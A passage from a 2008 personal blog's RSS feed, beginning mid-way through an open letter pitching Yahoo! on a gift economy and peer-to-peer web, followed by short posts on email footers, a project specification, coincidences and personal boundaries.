&ldquo;file sharers&rdquo; simply hasn't worked. and as more and more things go
digital, e.g. movies, designs of cars, &amp;c., the need for a new working
model for intellectual property becomes important.</p>
<p>the only inevitable solution is to create a &ldquo;gift economy&rdquo;.</p>
<p>imagine that your browser kept tab of everything you've been
reading/listening/watching and asked you every month about what you
want to give. and say a user decides to give $50 &mdash; this then gets
split up between all the artists/bloggers/developers/musicians that
they've been benefiting from.</p>
<p>creators may provide incentives to encourage more giving. for example,
the band radiohead may say that the top 100 and a random 50 from the
top 10,000 givers in any city get invited to an intimate performance
when they are next in the given city. by creating a generic platform
for all of this, yahoo! can get the millions of cultural creatives on
its side and truly disrupt many markets.</p>
<p>building upon this, yahoo! can go onto enabling a new reputation
economy. based on something that i call pecus &mdash; personal economic
currency units &mdash; pseudo shares in individuals &mdash; individuals can
actively promote those who are working towards creating the conditions
they want. not only does this allow for fluid, fast-paced and
decentralized organizational structures, but it reflects the way that
the markets are heading in.</p>
<p>such decentralization would focus the world's efforts on truly vital
efforts like rebuilding the biosocial infrastructure. because as the
new opportunities for growth cease to be in growth and various aspects
of the market disappear into economies of free, there is very little
left to &ldquo;capitalise&rdquo; upon. opportunity lies in the new non-growth
growth markets.</p>
<p>and biosocial infrastructure is interesting in this regard because due
to its scarcity one could set its price as infinite. and anything that
has a theoretical infinite value is interesting!</p>
<p>and, finally, if yahoo! just did all of this through the web, then
it'd do well, but not be truly placed to profit as it could. to truly
do this, an open platform needs to be created. the work that yahoo has
been doing with regards to building an open platform has been great.
extremely under-appreciated by the developer communities, but good
work regardless.</p>
<p>this work now needs to be taken to a whole new level. to reformulate
the web into a more peer-to-peer infrastructure. some of the work
being done by your javascript teams have already been accidentally
laying down the foundations for this. and by reformulating the web
into a new architecture, there is a lot to be gained.</p>
<p>things like search can become an integral part of this new network &mdash;
obviating the need for external search providers. all the information
could be stored locally. letting people overcome concerns of privacy
because it's not sitting on centralized servers outside of their
control. and the various post-PC devices like mobile phones can be
leveraged to create effective &ldquo;peer computing&rdquo;.</p>
<p>and by making all of this totally open source and public, yahoo! can
totally blow the efforts of others like microsoft, google and adobe
out of the water. the web is nearly 20 years old. and the time has
come for a major upgrade!</p>
<p>now, by following down the line i've sketched out above, yahoo! can
re-establish itself as a pioneer. and this is the key to regaining
brand value and revitalizing internal morale.</p>
<p>the above solves real problems that people face <em>and</em> can make yahoo!
the ultimate middle man for the world.</p>
<p>by appealing to people's imagination, hopes and aspirations, you can
propel yahoo! back to the center-stage.</p>
<p>and, as you already know, on wall street it is all about perception!</p>
<p>the old adage of an attack being the best defense needs to be brought
into play. with this new model, yahoo! can question the model of its
competitors and take the negative focus away from yahoo!</p>
<p>i would also recommend doing this as a grand 10-month project in which
all of this is developed totally openly and executed. and to do this
in a &ldquo;reality tv&rdquo;-esque style that will engage with the imagination of
the world.</p>
<p>get back to the yahooligan roots! make it truly engaging and sexy.
like it was back at the start.</p>
<p>spin the exodus of the various executives as an advantage &mdash; free-ing
yahoo! to truly pioneer again &mdash; unburdened by egos.</p>
<p>and with a solid plan in place with the imagination flaring, getting
your shareholders appeased and supportive should be an easy task. they
will be slightly reticent to start with, but they can be won over with
conviction.</p>
<p>i would like to help you do all this. i have the charisma, strategic
capacity and technical know-how to make this happen. i can even bring
together many of the appropriate people to make this happen &mdash; and if
you will let me, put together appropriate people from within yahoo!</p>
<p>anyways, that should be enough for a first email =)</p>
<p>i'm much better at communicating in person. so if you find it at all
useful to your current situation, then please fly me over. i'm based
in london, but can be over at short notice.</p>
<p>PS. i'm cc'ing a list of my collaborators &mdash; hope that's okay.</p>
<p>good luck and speak soon!</p>
&mdash;<br /><p>love, tav</p>
<p class="last">plex:espians/tav | tav&#64;espians.com | +44 (0) 7809 569 369</p>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/contacting-jerry-yang.html</feedburner:origLink></item><item>
    <title>Email Etiquette</title>
    <guid isPermaLink="false">http://www.asktav.com/email-etiquette.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/UkdiVDbIGW0/email-etiquette.html</link>
    <pubDate>Fri, 04 Jul 2008 10:22:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Thunderbird mail client" class="float-right" src="http://upload.wikimedia.org/wikipedia/commons/d/db/Mozilla_thunderbird_empty_screenshot.png" style="width: 260px; height: 200px;" />
<p><a class="reference external" href="http://en.wikipedia.org/wiki/Netiquette">Netiquette</a> has long been a dying
trait. At best I hope that people might read something like Seth's <a class="reference external" href="http://sethgodin.typepad.com/seths_blog/2008/06/email-checklist.html">Email
checklist</a>. But I
have long stopped expecting others to adhere to much sense on this front.</p>
<p>But the &quot;<a class="reference external" href="http://www.thedailygreen.com/environmental-news/latest/email-print-47112009">Don't print this Email</a>&quot;
footer meme just managed to push past the annoyance tipping point for me.
Especially since it came from someone who I admire as a great systems thinker!</p>
<p>I understand that it is well meant. People would like to show that they care for
the environment and would like to encourage having less of an impact on the
world. Laudable intentions.</p>
<p>But having a footer on every email is just plain stupid. Especially the large
companies who insist on having several paragraphs of text explaining why you
shouldn't do so and just how super cool and eco-friendly they are. Often these
footers are larger than the body of the message itself!</p>
<p>So why is this stupid? Because by adding these footers you are causing more harm
than printing those emails would be causing in the first place! The millions of
servers handling email sit in data centers consuming serious amounts of energy!</p>
<p>And the additional size of each and every message &mdash; especially as they get
replied to and included in replies &mdash; adds up to a serious amount of energy
use! More routers, servers and switches are needed just because people couldn't
handle a bit of systems thinking.</p>
<p>It's not just for keeping the user interface simple that companies like Google
spend such effort keeping their <a class="reference external" href="http://googleblog.blogspot.com/2008/07/what-comes-next-in-this-series-13-33-53.html">home page to less than 28 words</a>.
Each extra useless byte directly results in more energy use and a lot more CO2
in the atmosphere.</p>
<p>So, please for the love of the environment, stop including that footer in your
emails. The point has already been made. I stopped printing emails in 1999. Just
have a chat with people who still insist on printing out their emails. And stop
wasting the most precious asset we all have &mdash; time!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/email-etiquette.html</feedburner:origLink></item><item>
    <title>Bootstrap Draft Specification</title>
    <guid isPermaLink="false">http://www.asktav.com/bootstrap-draft-specification.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/7SKfq0mWFkE/bootstrap-draft-specification.html</link>
    <pubDate>Thu, 03 Jul 2008 08:48:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Espra Bootstrap Logo" class="float-right" src="http://release.plexnet.org/gfx/tav.blog/bootstrap.png" style="width: 300px; height: 111px;" />
<p>After a week of heavy pondering, I have nailed down the required functionality
for Bootstrap. Have a read:</p>
<ul class="simple">
<li><a class="reference external" href="espra-bootstrap.html">Boostrap draft specification</a></li>
</ul>
<p>Then let me know what you think in the comments below!</p>
<p>Bear in mind that this is <em>not</em> Espra. It is <em>not</em> based on the Plexnet. It is
<em>not</em> decentralised. It is <em>not</em> meant to scale to millions of users. It is only
meant to achieve the following:</p>
<ol class="arabic simple">
<li>Enable interesting small-scale communities, e.g. socialaction.tv</li>
<li>Demonstrate <em>some</em> of Espra's utility, e.g. Trust Maps.</li>
<li>Establish credibility with the world that the Espians can code =)</li>
<li>Be a powerful communications tool to facilitate Espra's development.</li>
<li>Bring in short-term consultancy revenue.</li>
</ol>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/bootstrap-draft-specification.html</feedburner:origLink></item><item>
    <title>Coincidences Don't Exist</title>
    <guid isPermaLink="false">http://www.asktav.com/coincidences-dont-exist.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/yZ_Ei6q981o/coincidences-dont-exist.html</link>
    <pubDate>Wed, 02 Jul 2008 17:02:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Two Furies from an ancient vase" class="float-right" src="http://upload.wikimedia.org/wikipedia/commons/1/1b/Deux_furies.png" style="width: 165px; height: 299px;" />
<p>Not to be a <a class="reference external" href="http://en.wikipedia.org/wiki/Fatalism">fatalist</a>, but I'm
increasingly observing how frequently &ldquo;coincidences&rdquo; seem to be taking place.</p>
<p>Case in point, this morning <a class="reference external" href="https://zooko.com/log.html">Zooko</a> messaged me
out of the blue. It's been a few months since we last spoke and was nice to
briefly catch up. He pointed me to his latest work &mdash; <a class="reference external" href="http://www.allmydata.com">AllMyData.com</a> &mdash; an online storage service running on <a class="reference external" href="http://www.allmydata.org">Tahoe</a>, the P2P network he's been working on.</p>
<p>And it just so happened that earlier this evening, I was in need of a storage
service to integrate into the coming Bootstrap specification. AllMyData happens
to be one of the best fits &mdash; closely shadowed by <a class="reference external" href="http://www.box.net">box.net</a>.</p>
<p>Neither contact from Zooko nor the need for a storage service is particularly
surprising. But for it to happen on the same day is a pretty low probability.
And on its own, not so surprising.</p>
<p>But taken together with all the other hundreds of little opportune coincidences
that seem to take place in my life, I begin to wonder if coincidences really are
coincidences?</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/coincidences-dont-exist.html</feedburner:origLink></item><item>
    <title>Fluid &amp; Bounded</title>
    <guid isPermaLink="false">http://www.asktav.com/fluid-and-bounded.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/x0JCvbeQ0tk/fluid-and-bounded.html</link>
    <pubDate>Tue, 01 Jul 2008 15:38:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="Boris Vallejo" class="float-right" src="http://release.plexnet.org/gfx/tav.blog/maya.jpg" style="width: 300px; height: 450px;" />
<p>I am a real-time operating system. Alive in the moment. Fluid to all that
happens around. But this is only possible thanks to a seemingly contradictory
requirement:</p>
<blockquote>
<em>I need clear boundaries.</em></blockquote>
<p>Without clearly defined boundaries, I end up in a sea of endless possibilities
and confusion. The number of possible permutations becomes too much to handle
and I find myself incapacitated.</p>
<p>But if I can clearly define boundaries between the various shades of grey that
life presents us with, I suddenly find myself liberated and able to act without
having to think.</p>
<p>I then only have to bear in mind the single rule:</p>
<blockquote>
<em>Be alive!</em></blockquote>
<p>This is true freedom. I don't have to contemplate the consequences of my actions
and can freely flow as events unfold.</p>
<p>I can do things like getting completely hammered on alcohol and drugs without
worrying about my actions. I can trust myself with absolute confidence. I can
take risks without worry. Confidence flows unhindered by pointless
contemplations.</p>
<p>However, this isn't a perfect approach. Let me illustrate with
two examples.</p>
<p>The first involves my principles with regards to friendship. Whilst generally
friendly to all living creatures, I have clearly defined distinctions with
regards to how I behave with friends and those who are not friends.</p>
<p>This allows me to be highly &ldquo;scalable&rdquo; with regards to the number and depth of
the relationships I have. But one time, my rather fixed boundary put me in a
rather unpleasant situation.</p>
<p>A friend and I met this girl on the same evening and we ended up competing for
her over the following week. Normally I have no qualms competing with a guy for
a girl. I can outcompete with ease.</p>
<p>But trying to compete with a friend just left me paralysed. My friendship
boundary involves not fucking over friends. But how the hell are you meant to
compete with a guy for a girl and not screw him over in some way?</p>
<p>Another point when my sharp boundaries caused some unpleasantness was when I
once invited a friend of mine to join a girlfriend and myself in bed one night.</p>
<p>The night itself was rather enjoyable and pleasant. However, the next morning,
my sharp boundary thing meant that he was back to being just a friend with the
two of us.</p>
<p>Unfortunately, he saw life as shades of grey and managed to piss me off a bit by
trying to be intimate with my girlfriend. Not in a sexual way, but just with
physical closeness.</p>
<p>Now I could totally understand it from his perspective. It makes for a gentler
easing out after sexual intimacy with her, but for me life operates around clear
boundaries &mdash; especially around friendship, intimacy and love.</p>
<p>But despite occassional blips like this, the clearly defined boundaries allows
me to operate in real-time and be totally fluid in how I live. I can also make
extremely long-term commitments, e.g. Espia, because I know myself.</p>
<p>What do you all think? Does my approach make any sense? Do you have similar
approaches?</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/fluid-and-bounded.html</feedburner:origLink></item><item>
    <title>Shorter Blog URL</title>
    <guid isPermaLink="false">http://www.asktav.com/shorter-blog-url.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/nv-es-cEwkI/shorter-blog-url.html</link>
    <pubDate>Mon, 30 Jun 2008 07:14:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Some people have complained that it is impossible to remember the URL for this
blog. Unfortunately Google Code don't allow for redirecting domains to it.</p>
<p>At some point this blog will transfer over to <a class="reference external" href="http://tav.espians.com">http://tav.espians.com</a> &mdash; but,
until then, here's a persistent URL:</p>
<ul class="simple">
<li><a class="reference external" href="http://purl.org/asktav">http://purl.org/asktav</a></li>
</ul>
<p>Bookmark it now! =) And, in case you didn't know, <a class="reference external" href="http://purl.org">PURL</a> is a
great &ldquo;Persistent&rdquo; URL service.</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/shorter-blog-url.html</feedburner:origLink></item>
  
<copyright>Public Domain</copyright><media:credit role="author">tav</media:credit><media:rating>nonadult</media:rating></channel>
</rss>
